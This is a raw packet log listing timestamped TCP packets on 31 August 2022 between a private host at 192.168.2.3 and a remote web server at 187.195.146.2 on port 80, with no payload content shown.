Aug 31, 2022 08:34:15.334050894 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.334068060 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.337045908 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.337080002 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.337097883 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.337285042 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.381340027 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.381386995 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.381405115 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.381427050 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.381449938 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.381457090 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.381467104 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.381490946 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.381504059 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.381516933 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.381532907 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.381556988 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.381561995 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.381581068 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.381582022 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.381597996 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.381608963 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.381619930 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.381644011 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.381656885 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.381661892 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.381686926 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.381716013 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.382709026 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.385001898 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.385035992 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.385166883 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.457238913 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.457272053 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.457288980 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.457390070 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.461236000 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.461267948 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.461283922 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.461308002 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.461329937 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.461347103 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.461368084 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.461389065 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.461393118 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.461411953 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.461416960 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.461429119 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.461451054 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.461471081 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.461486101 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.461502075 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.461507082 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.461528063 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.461535931 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.461580038 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.465109110 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.465193987 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.465217113 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.465231895 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.465248108 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.465260029 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.465271950 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.465280056 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.465289116 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.465311050 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.465312958 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.465332985 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.465348005 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.465368986 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.465370893 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.465392113 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.465406895 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.465414047 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.465428114 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.465432882 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.465450048 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.465466022 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.465471029 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.465523005 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.469202995 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.469234943 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.469250917 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.469376087 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.480334997 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.480365992 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.480384111 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.480405092 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.480427980 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.480443001 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.480463982 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.480472088 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.480479956 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.480500937 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.480515957 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.480537891 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.480540037 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.480559111 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.480567932 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.480576038 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.480592966 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.480597019 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.480616093 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.480618954 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.480633974 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.480655909 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.480667114 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.480706930 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.483697891 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.483724117 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.483746052 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.483771086 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.483788967 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.483809948 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.483829975 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.483831882 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.483848095 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.483870983 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.483882904 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.483892918 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.483908892 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.483915091 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.483932018 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.483944893 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.483954906 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.483971119 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.483972073 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.483994007 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.484014034 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.484016895 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.484034061 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.484060049 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.486965895 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.486993074 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.487005949 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.487023115 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.487039089 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.487051010 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.487066984 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.487080097 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.487091064 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.487093925 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.487108946 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.487121105 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.487135887 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.487150908 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.487159967 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.487162113 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.487195969 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.490154028 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.490184069 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.490201950 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.490225077 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.490250111 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.490267038 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.490289927 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.490292072 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.490314960 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.490330935 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.490348101 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.490355015 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.490377903 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.490379095 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.490395069 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.490427017 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.490437984 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.490457058 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.490473986 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.490478039 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.490500927 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.490525961 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.493308067 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.493338108 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.493417025 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.536271095 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.536303997 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.536319971 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.536340952 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.536358118 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.536377907 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.536391973 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.536412001 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.536425114 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.536427021 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.536447048 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.536462069 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.536479950 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.536484003 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.536495924 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.536514997 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.536529064 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.536531925 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.536550045 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.536566973 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.536571026 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.536587000 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.536614895 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.539824009 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.539887905 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.539906025 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.539926052 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.539946079 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.539961100 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.539994001 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.540045023 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.611422062 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.611453056 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.611474037 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.611490965 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.611530066 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.611588955 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.619512081 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.619544983 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.619560957 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.619580984 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.619596004 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.619616032 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.619631052 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.619646072 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.619649887 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.619666100 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.619684935 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.619695902 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.619699955 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.619719982 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.619739056 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.619740009 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.619755030 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.619774103 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.619793892 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.619793892 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.619811058 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.619826078 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.619860888 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.623296976 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.623318911 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.623334885 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.623378992 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.623393059 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.623411894 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.623419046 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.623428106 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.623435020 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.623465061 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.627371073 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.627389908 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.627409935 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.627424955 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.627444029 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.627458096 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.627465963 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.627479076 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.627494097 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.627513885 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.627516031 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.627528906 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.627547979 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.627551079 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.627563000 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.627583027 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.627604961 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.627608061 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.627620935 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.627659082 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.627688885 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.638868093 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.638900995 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.638916969 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.638936996 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.638952017 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.638972998 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.638977051 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.638988972 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.639008045 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.639023066 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.639045000 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.639074087 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.642288923 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.642307997 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.642329931 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.642349958 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.642364979 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.642364979 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.642385006 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.642390013 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.642400026 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.642411947 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.642420053 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.642435074 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.642455101 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.642456055 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.642476082 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.642491102 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.642491102 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.642509937 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.642510891 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.642532110 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.642543077 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.642546892 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.642565966 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.642575979 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.645792007 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.645817995 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.645838976 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.645859003 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.645874023 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.645885944 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.645894051 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.645914078 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.645934105 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.645936012 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.645946980 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.645953894 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.645968914 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.645983934 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.645987034 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.646003962 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.646019936 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.646023035 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.646040916 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.646060944 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.646068096 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.646081924 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.646099091 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.649127007 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.649152040 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.649173975 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.649188995 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.649207115 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.649209023 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.649230003 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.649245024 CEST	80	49750	187.195.146.2	192.168.2.3
